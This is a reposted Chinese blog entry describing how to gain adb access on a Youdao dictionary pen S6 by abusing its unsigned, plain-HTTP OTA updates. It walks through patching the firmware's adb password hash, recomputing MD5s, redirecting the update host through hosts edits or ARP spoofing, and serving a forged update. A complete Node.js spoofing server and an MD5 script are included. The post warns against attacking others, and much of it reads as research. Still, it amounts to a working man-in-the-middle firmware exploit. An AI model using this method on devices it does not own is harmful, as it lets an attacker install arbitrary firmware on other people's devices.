Skip to content

记录有道词典笔S6(词典笔OS)获取adb权限(转)

https://github.com/orgs/PenUniverse/discussions/250

原帖 : #249
问题已向网易反馈二次,均没有得到处理
该方法理论上有道全系通用

声明

#202 #178
本方法总结了上面两个帖子的讨论内容,感谢各位大佬提供的思路。

免责:使用本方法以及本方法获取的权限造成的一切后果,如远程施法、有道律师函、词典笔损坏、家长批评、第三次世界大战.. 与作者无关

此漏洞十分危险,无论你是否想要给词典笔提权,都请做到:不在陌生的网络环境更新系统、警惕莫名奇妙的系统更新、关闭更新包自动下载 , 以及不要利用此漏洞攻击别人的设备

原理

通过抓包可以分析,有道的OTA更新使用的是不安全的HTTP,以及更新镜像的MD5是返回在POST请求中的。同时,通过逆向抓包下载到的全量固件,发现有道的词典笔OS并没有做必要的系统更新签名校验。故我们可以修改一个全量包,修改其中adb_auth.sh 中的 sha256 值来实现修改密码,再通过规则转发来让词典笔更新我们自己的镜像。

实现

  • 首先,通过抓包抓取系统全量包
  • 使用 binwalk 拆解全量包,得到原始adb密码的sha256值
  • 使用 sed -i 命令替换sha256值
  • 检查新镜像的大小,确保一致
  • 重新按照POST请求返回中的MD5分段重新计算分段MD5和新的整包MD5
  • 取得新镜像的文件直链
  • 创建 nodejs 服务器,修改返回值
  • 修改系统hosts文件,将 iotapi.abupdate.com 重定向到你的欺骗服务器
  • 在词典笔上先检查一次更新
  • 使用Windows热点连接词典笔,或者使用arp欺骗攻击
  • 再次检查更新,更新新的系统镜像
  • 连接adb

相关资源(适用有道词典笔S6)

使用的node js脚本 (记得修改镜像直链)

const http = require('http');
const fs = require('fs');
const path = require('path');
const port = 80;

// 假设这是你的自定义 JSON 数据
const JsonData = {
    "releaseNotes": {
        "publishDate": "2023-11-18",
        "version": "4.0.2",
        "content": "[{\"country\":\"zh_CN\",\"content\":\"1、修复部分问题,优化系统稳定性\"}]"
    },
    "safe": {
        "isEncrypt": 0
    },
    "version": {
        "segmentMd5": "[{\"num\":0,\"startpos\":0,\"md5\":\"11ca35db346f49135324020d8ed9969b\",\"endpos\":104857600},{\"num\":1,\"startpos\":104857600,\"md5\":\"3c05419707b6981093fb6ed50a92a095\",\"endpos\":209715200},{\"num\":2,\"startpos\":209715200,\"md5\":\"eea450e348bd4f36c8abe28b8eda0a6d\",\"endpos\":314572800},{\"num\":3,\"startpos\":314572800,\"md5\":\"36dcce0dfda04040c87dc5fdbe53039e\",\"endpos\":419430400},{\"num\":4,\"startpos\":419430400,\"md5\":\"147f9c36c8353e514305f2917182ef35\",\"endpos\":524288000},{\"num\":5,\"startpos\":524288000,\"md5\":\"d1f1733a399d92c10b5723d4fc86747f\",\"endpos\":629145600},{\"num\":6,\"startpos\":629145600,\"md5\":\"ca1e07d0e986145cbf8e97113d8588f4\",\"endpos\":734003200},{\"num\":7,\"startpos\":734003200,\"md5\":\"21b0dcf16b91120ac79a2337ddd741f8\",\"endpos\":838860800},{\"num\":8,\"startpos\":838860800,\"md5\":\"2f282b84e7e608d5852449ed940bfc51\",\"endpos\":943718400},{\"num\":9,\"startpos\":943718400,\"md5\":\"4b5e89f2ed4c7ba70269e1c67257a480\",\"endpos\":1048576000},{\"num\":10,\"startpos\":1048576000,\"md5\":\"2f282b84e7e608d5852449ed940bfc51\",\"endpos\":1153433600},{\"num\":11,\"startpos\":1153433600,\"md5\":\"2f282b84e7e608d5852449ed940bfc51\",\"endpos\":1258291200},{\"num\":12,\"startpos\":1258291200,\"md5\":\"bdc427a4857dd06b1eef994e454077ae\",\"endpos\":1363148800},{\"num\":13,\"startpos\":1363148800,\"md5\":\"47366679b58ec4436205a40e8cf3ac7e\",\"endpos\":1397096460}]",
        "bakUrl": "填写你自己的镜像直链",
        "versionAlias": "",
        "deltaUrl": "填写你自己的镜像直链",
        "deltaID": "9457867",
        "fileSize": 1397096460,
        "md5sum": "1d4ce19a13629aa9d72499012d4046e9",
        "versionName": "99.99.91"
    },
    "policy": {
        "download": [
            {
                "key_name": "wifi",
                "key_message": "仅wifi下载",
                "key_value": "optional"
            },
            {
                "key_name": "storageSize",
                "key_message": "存储空间不足",
                "key_value": "76944507"
            },
            {
                "key_name": "forceDownload",
                "key_message": "",
                "key_value": "false"
            }
        ],
        "install": [
            {
                "key_name": "battery",
                "key_message": "电量不足,请充电后重试!",
                "key_value": "30"
            },
            {
                "key_name": "voltage",
                "key_message": "",
                "key_value": ""
            },
            {
                "key_name": "rebootUpgrade",
                "key_message": "",
                "key_value": "false"
            },
            {
                "key_name": "force",
                "key_message": "",
                "key_value": "{\"from\": \"00:00\", \"to\": \"00:00\",\"gap\": \"00:00\"}"
            }
        ],
        "check": [
            {
                "key_name": "cycle",
                "key_message": "",
                "key_value": "1500"
            },
            {
                "key_name": "remind",
                "key_message": "",
                "key_value": "1440"
            }
        ]
    }
};


// 获取当前日期,并格式化为 HTTP 头所需的格式
const getFormattedDate = () => {
    const now = new Date();
    return now.toUTCString(); // 转换为 UTC 格式
};

// 创建 HTTP 服务器
const server = http.createServer((req, res) => {
    console.log(`${req.method} request for ${req.url} at ${new Date().toISOString()}`);

    if (req.method === 'GET' && req.url === '/product/1687249911/e3025e518840fce8/ota/checkVersion') {
        // 设置自定义头部
        res.writeHead(200, {
            'Server': 'nginx/1.20.1',
            'Content-Type': 'application/json;charset=UTF-8',
            'Date': getFormattedDate(), // 使用当前日期
            'Transfer-Encoding': 'chunked',
            'Connection': 'close'
        });
        // 发送 JSON 数据
        res.write(JSON.stringify({
            status: 1000,
            msg: 'success',
            data: JsonData
        }));
        res.end(); // 结束响应
    } else if (req.method === 'POST' && req.url === '/product/1687249911/e3025e518840fce8/ota/checkVersion') {
        // 设置自定义头部
        res.writeHead(200, {
            'Server': 'nginx/1.20.1',
            'Content-Type': 'application/json;charset=UTF-8',
            'Date': getFormattedDate(), // 使用当前日期
            'Transfer-Encoding': 'chunked',
            'Connection': 'close'
        });
        // 发送 JSON 数据
        res.write(JSON.stringify({
            status: 1000,
            msg: 'success',
            data: JsonData
        }));
        res.end(); // 结束响应
    } 
    else {
        // 处理其他请求
        res.writeHead(404, { 'Content-Type': 'text/plain' });
        res.end('Not Found');
    }
});

// 启动服务器
server.listen(port, () => {
    console.log(`Server is running at http://localhost:${port}`);
});

使用的修改后的全量包(与上面的脚本中的MD5值匹配)

123盘链接

使用的分段md5计算脚本

import hashlib

def calculate_partial_md5(file_path, start, end):
    # Initialize the MD5 hasher
    md5 = hashlib.md5()
    
    # Open the file in binary read mode
    with open(file_path, 'rb') as f:
        f.seek(start)  # Move the file pointer to the start position
        chunk = f.read(end - start)  # Read the specified chunk of the file
        md5.update(chunk)  # Update the MD5 hasher with the chunk
    
    # Return the hexadecimal MD5 hash
    return md5.hexdigest()

# Usage example
file_path = ''
start_byte =  # Specify the start byte
end_byte =   # Specify the end byte

partial_md5 = calculate_partial_md5(file_path, start_byte, end_byte)
print(f"Partial MD5 hash: {partial_md5}")

成功后,adb密码将修改为 YDPenS6


发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据